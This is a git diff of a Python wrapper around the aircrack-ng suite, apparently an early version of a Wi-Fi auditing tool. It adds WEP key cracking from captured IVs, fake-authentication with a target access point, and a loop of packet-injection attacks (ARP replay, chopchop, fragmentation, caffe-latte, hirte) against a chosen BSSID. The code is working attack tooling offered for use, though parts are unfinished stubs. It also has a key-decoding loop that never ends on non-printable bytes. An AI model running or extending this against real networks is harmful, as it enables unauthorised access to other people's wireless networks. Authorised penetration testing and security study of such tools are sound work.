diff --git a/py/Aircrack.py b/py/Aircrack.py new file mode 100644 index 0000000..43b97a7 --- /dev/null +++ b/py/Aircrack.py @@ -0,0 +1,71 @@ +#!/usr/bin/python + +from Process import Process +from Configuration import Configuration + +import os + +class Aircrack(object): + def __init__(self, ivs_file): + self.cracked_file = Configuration.temp() + 'wepkey.txt' + + # Delete previous cracked files + if os.path.exists(self.cracked_file): + os.remove(self.cracked_file) + + command = [ + 'aircrack-ng', + '-a', '1', + '-l', self.cracked_file, + ivs_file + ] + + self.pid = Process(command, devnull=True) + + + def is_running(self): + return self.pid.poll() == None + + + def is_cracked(self): + return os.path.exists(self.cracked_file) + + + def get_key_hex_ascii(self): + if not self.is_cracked(): + raise Exception('Cracked file not found') + f = open(self.cracked_file, 'r') + hex_raw = f.read() + f.close() + + hex_key = '' + ascii_key = '' + while len(hex_raw) > 0: + if hex_key != '': + hex_key += ':' + hex_key += hex_raw[0:2] + # Convert hex to decimal + code = int(hex_raw[0:2], 16) + if code < 32 or code > 127: + # Hex key is non-printable in ascii + ascii_key = None + continue + elif ascii_key == None: + continue + # Convert decimal to char + ascii_key += chr(code) + hex_raw = hex_raw[2:] + return (hex_key, ascii_key) + +if __name__ == '__main__': + from time import sleep + Configuration.initialize() + a = Aircrack('tests/files/wep-crackable.ivs') + while a.is_running(): + sleep(1) + if a.is_cracked(): + print "cracked!" + print '(hex, ascii) =', a.get_key_hex_ascii() + else: + print "Not cracked" + Configuration.exit_gracefully(0) diff --git a/py/Aireplay.py b/py/Aireplay.py index f7fd23c..2d33fbf 100644 --- a/py/Aireplay.py +++ b/py/Aireplay.py @@ -49,14 +49,15 @@ class WEPAttackType(object): class Aireplay(object): - def __init__(self, target, attack_type): + def __init__(self, target, attack_type, client_mac=None): ''' Starts aireplay process. Args: target - Instance of Target object, AP to attack. attack_type - int, str, or WEPAttackType instance. + client_mac - MAC address of an associated client. ''' - cmd = Aireplay.get_aireplay_command(target, attack_type) + cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac) self.pid = Process(cmd, devnull=False) def is_running(self): @@ -72,12 +73,13 @@ class Aireplay(object): return self.pid.stdout() @staticmethod - def get_aireplay_command(target, attack_type): + def get_aireplay_command(target, attack_type, client_mac=None): ''' Generates aireplay command based on target and attack type Args: target - Instance of Target object, AP to attack. attack_type - int, str, or WEPAttackType instance. + client_mac - MAC address of an associated client. ''' # Interface is required at this point @@ -87,8 +89,9 @@ class Aireplay(object): cmd = ['aireplay-ng'] cmd.append('--ignore-negative-one') - client_mac = None - if len(target.clients) > 0: + + if not client_mac and len(target.clients) > 0: + # Client MAC wasn't specified, but there's an associated client. Use that. client_mac = target.clients[0].station # type(attack_type) might be str, int, or WEPAttackType. @@ -101,10 +104,8 @@ class Aireplay(object): cmd.extend(['-T', '1']) # Make 1 attemp if target.essid_known: cmd.extend(['-e', target.essid]) - - # TODO Should we specify the source MAC as a client station? - #if client_mac: - # cmd.extend(['-h', client_mac]) + # Do not specify client MAC address, + # we're trying to fake-authenticate using *our* MAC elif attack_type == WEPAttackType.replay: cmd.append('--arpreplay') @@ -173,9 +174,17 @@ if __name__ == '__main__': print t.name, type(t.name), t.value from Target import Target - fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 1, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, HOME-ABCD, '.split(',') + fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') t = Target(fields) cmd = Aireplay.get_aireplay_command(t, 'fakeauth') print ' '.join(['"%s"' % a for a in cmd]) + ''' + aireplay = Aireplay(t, 'replay') + while aireplay.is_running(): + from time import sleep + sleep(0.1) + print aireplay.get_output() + ''' + diff --git a/py/Airmon.py b/py/Airmon.py index 4ad17b9..e36f49d 100644 --- a/py/Airmon.py +++ b/py/Airmon.py @@ -104,7 +104,7 @@ class Airmon(object): @staticmethod def stop(iface): - # TODO (this) + # TODO airmon-ng stop iface pass @@ -127,21 +127,40 @@ class Airmon(object): interfaces.append(iface) return interfaces + @staticmethod + def ask(): + ''' Asks user to define which wireless interface to use ''' + mon_ifaces = Airmon.get_interfaces_in_monitor_mode() + mon_count = len(mon_ifaces) + if mon_count == 1: + # Assume we're using the device already in montior mode + iface = mon_ifaces[0] + Color.pl('{+} using interface {G}%s{W} which is already in monitor mode' + % iface); + return iface + + a = Airmon() + a.print_menu() + count = len(a.interfaces) + if count == 0: + # No interfaces found + Color.pl('{!} {O}airmon-ng did not find {R}any{O} wireless interfaces') + raise Exception('airmon-ng did not find any wireless interfaces') + elif count == 1: + # Only one interface, assume this is the one to use + iface = a.get(1) + else: + # Multiple interfaces found + question = Color.s("{+} select interface ({G}1-%d{W}): " % (count)) + choice = raw_input(question) + iface = a.get(choice) + + if a.get(choice).name in mon_ifaces: + Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) + else: + Airmon.start(iface) + return iface.name + if __name__ == '__main__': - mon_ifaces = Airmon.get_interfaces_in_monitor_mode() - - a = Airmon() - a.print_menu() - count = len(a.interfaces) - question = Color.s("Select interface ({G}1-%d{W}): " % (count)) - choice = raw_input(question) - iface = a.get(choice) - Color.pl("You chose: {G}%s{W}" % iface.name) - - if a.get(choice).name in mon_ifaces: - Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) - else: - Airmon.start(iface) - #a.start(a.interfaces[0]) - + Airmon.ask() diff --git a/py/Airodump.py b/py/Airodump.py index 96377e0..67925b5 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -11,7 +11,9 @@ import os class Airodump(object): ''' Wrapper around airodump-ng program ''' - def __init__(self, interface=None, channel=None, encryption=None, wps=False, target_bssid=None, output_file_prefix='airodump'): + def __init__(self, interface=None, channel=None, encryption=None, \ + wps=False, target_bssid=None, output_file_prefix='airodump', \ + ivs_only=False): ''' Constructor, sets things up ''' Configuration.initialize() @@ -33,6 +35,8 @@ class Airodump(object): self.target_bssid = target_bssid self.output_file_prefix = output_file_prefix + self.ivs_only = ivs_only + def __enter__(self): ''' @@ -59,6 +63,11 @@ class Airodump(object): if self.target_bssid: command.extend(['--bssid', self.target_bssid]) + if self.ivs_only: + command.extend(['--output-format', 'ivs,csv']) + else: + command.extend(['--output-format', 'pcap,csv']) + # Start the process self.pid = Process(command, devnull=True) return self @@ -75,21 +84,29 @@ class Airodump(object): # Delete temp files self.delete_airodump_temp_files() - def delete_airodump_temp_files(self): - ''' Deletes airodump* files in the temp directory ''' + + def find_files(self, endswith=None): + ''' Finds all files in the temp directory that start with the output_file_prefix ''' + result = [] for fil in os.listdir(Configuration.temp()): if fil.startswith(self.output_file_prefix): - os.remove(Configuration.temp() + fil) + if not endswith or fil.endswith(endswith): + result.append(Configuration.temp() + fil) + return result + + def delete_airodump_temp_files(self): + ''' Deletes airodump* files in the temp directory ''' + for fil in self.find_files(): + os.remove(fil) def get_targets(self): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None - for fil in os.listdir(Configuration.temp()): - if fil.startswith(self.output_file_prefix) and fil.endswith('-01.csv'): - # Found the file - csv_filename = Configuration.temp() + fil - break + for fil in self.find_files(endswith='-01.csv'): + # Found the file + csv_filename = fil + break if csv_filename == None or not os.path.exists(csv_filename): # No file found return self.targets diff --git a/py/Attack.py b/py/Attack.py index 2b7296d..29e89f6 100644 --- a/py/Attack.py +++ b/py/Attack.py @@ -1,5 +1,7 @@ #!/usr/bin/python +import time + class Attack(object): ''' Contains functionality common to all attacks diff --git a/py/AttackWEP.py b/py/AttackWEP.py index a163b2c..a714dfb 100644 --- a/py/AttackWEP.py +++ b/py/AttackWEP.py @@ -4,6 +4,7 @@ from Attack import Attack from Airodump import Airodump from Aireplay import Aireplay, WEPAttackType from Configuration import Configuration +from Interface import Interface from Color import Color import time @@ -26,20 +27,85 @@ class AttackWEP(Attack): # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, + ivs_only=True, # Only capture IVs packets output_file_prefix='wep') as airodump: airodump_target = self.wait_for_target(airodump) - for attack_num in xrange(1, 6): - pass - #aireplay = Aireplay(self.target, attack_num) - ''' - TODO (pending until I get a router to test on) - * Wait for IVS to start flowing, e.g. sleep(1). - * if IVS > threshold, start cracking. - * Check aireplay.is_running() to see if it completed/failed. - * Continue attacks depending on aireplay status. - ''' + if self.fake_auth(): + # We successfully authenticated! + # Use our interface's MAC address for the attacks. + client_mac = Interface.get_mac() + elif len(airodump_target.clients) == 0: + # There are no associated clients. Warn user. + Color.pl('{!} {O}there are no associated clients{W}') + Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' + + ' without fake-authentication or associated clients{W}') + client_mac = None + else: + client_mac = airodump_target.clients[0].station + + aircrack = None # Aircrack process, not started yet + + wep_attack_types = [ + 'replay', + 'chopchop', + 'fragment', + 'caffelatte', + 'p0841', + 'hirte' + ] + for attack_name in wep_attack_types: + # Convert to WEPAttackType. + wep_attack_type = WEPAttackType(attack_name) + + # Start Aireplay process. + aireplay = Aireplay(self.target, \ + wep_attack_type, \ + client_mac=client_mac) + + # Loop until attack completes. + while True: + airodump_target = self.wait_for_target(airodump) + Color.p('\r{+} WEP attack {C}%s{W} ({G}%d IVs{W}) ' + % (attack_name, airodump_target.ivs)) + + # TODO: Check if we cracked it. + # if aircrack and aircrack.cracked(): + + # Check number of IVs, crack if necessary + if airodump_target.ivs > Configuration.wep_crack_at_ivs: + # TODO: + # 1. Check if we're already trying to crack: + # aircrack and aircrack.is_running() + # 2. If not, start cracking: + # aircrack = Aircrack(airodump_target, capfile) + pass + + if not aireplay.is_running(): + # Some Aireplay attacks loop infinitely + if attack_name == 'chopchop' or attack_name == 'fragment': + print '\nChopChop stopped, output:' + print aireplay.get_output() + # We expect these to stop once a .xor is created + # TODO: + # Check for .xor file. + # If it's not there, the process failed. Check stdout. + # If xor exists, run packetforge-ng on it. + # If packetforge created the .cap file to replay, then replay it + # Change attack_name to 'forged arp replay' + # Start Aireplay by replaying the cap file + pass + else: + print '\naireplay.get_output() =', aireplay.get_output() + raise Exception('Aireplay exited unexpectedly') + + # TODO: + # Replay: Check if IVS stopped flowing (same for > 20 sec) + # If so, restart the Replay attack. + + time.sleep(1) + continue def fake_auth(self): @@ -48,6 +114,8 @@ class AttackWEP(Attack): Returns: True if successful, False is unsuccesful. ''' + Color.p('{+} attempting {G}fake-authentication{W} with {C}%s{W}...' + % self.target.bssid) start_time = time.time() aireplay = Aireplay(self.target, 'fakeauth') process_failed = False @@ -56,7 +124,7 @@ class AttackWEP(Attack): aireplay.stop() process_failed = True break - time.sleep(1) + time.sleep(0.1) # Check if fake-auth was successful if process_failed: @@ -66,8 +134,9 @@ class AttackWEP(Attack): fakeauth = 'association successful' in output.lower() if fakeauth: - Color.pl('{+} {G}fake-authentication successful{W}') + Color.pl(' {G}success{W}') else: + Color.pl(' {R}failed{W}') if Configuration.require_fakeauth: # Fakeauth is requried, fail raise Exception( @@ -86,9 +155,8 @@ class AttackWEP(Attack): if __name__ == '__main__': from Target import Target - fields = "30:85:A9:39:D2:18, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, Uncle Router's Gigabit LAN Party, ".split(',') + fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',') target = Target(fields) wep = AttackWEP(target) - wep.fake_auth() - + wep.run() diff --git a/py/Color.py b/py/Color.py index 8506f1e..1895b2e 100644 --- a/py/Color.py +++ b/py/Color.py @@ -19,8 +19,8 @@ class Color(object): # Helper string replacements replacements = { - '{+}': '{W}[{G}+{W}]', - '{!}': '{W}[{R}!{W}]' + '{+}': ' {W}[{G}+{W}]', + '{!}': ' {W}[{R}!{W}]' } @staticmethod diff --git a/py/Configuration.py b/py/Configuration.py index c4d46c4..480c93f 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -30,8 +30,9 @@ class Configuration(object): # WEP variables Configuration.wep_only = False # Only attack WEP networks - Configuration.wep_pps = 6000 # Packets per second + Configuration.wep_pps = 600 # Packets per second Configuration.wep_timeout = 600 # Seconds to wait before failing + Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking Configuration.require_fakeauth = False # WEP-specific attacks Configuration.wep_fragment = True @@ -81,6 +82,11 @@ class Configuration(object): if args.pixie_only: Configuration.pixie_only = args.pixie_only if args.wordlist: Configuration.wordlist = args.wordlist if args.require_fakeauth: Configuration.require_fakeauth = False + + if Configuration.interface == None: + # Interface wasn't defined, select it! + from Airmon import Airmon + Configuration.interface = Airmon.ask() @staticmethod diff --git a/py/Interface.py b/py/Interface.py index 82aea95..cb09d97 100644 --- a/py/Interface.py +++ b/py/Interface.py @@ -68,3 +68,26 @@ class Interface(object): s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN) return s + @staticmethod + def get_mac(iface=None): + from Configuration import Configuration + from Process import Process + import re + + if iface == None: + Configuration.initialize() + iface = Configuration.interface + if iface == None: + raise Exception('Interface must be defined (-i)') + + output = Process(['ifconfig', iface]).stdout() + mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] + match = re.search('HWaddr (%s)' % mac_regex, output) + if not match: + raise Exception('Could not find the mac address for %s' % iface) + return match.groups()[0].replace('-', ':') + +if __name__ == '__main__': + mac = Interface.get_mac() + print 'wlan0mon mac address:', mac + diff --git a/py/Scanner.py b/py/Scanner.py index a166157..7d6ec95 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -121,8 +121,8 @@ class Scanner(object): if __name__ == '__main__': - Configuration.initialize() # Example displays targets and selects the appropriate one + Configuration.initialize() try: s = Scanner() targets = s.select_targets() @@ -133,3 +133,4 @@ if __name__ == '__main__': Color.p("{W}Selected: ") print t Configuration.exit_gracefully(0) + diff --git a/py/tests/files/wep-crackable.ivs b/py/tests/files/wep-crackable.ivs new file mode 100644 index 0000000..4ac2d83 Binary files /dev/null and b/py/tests/files/wep-crackable.ivs differ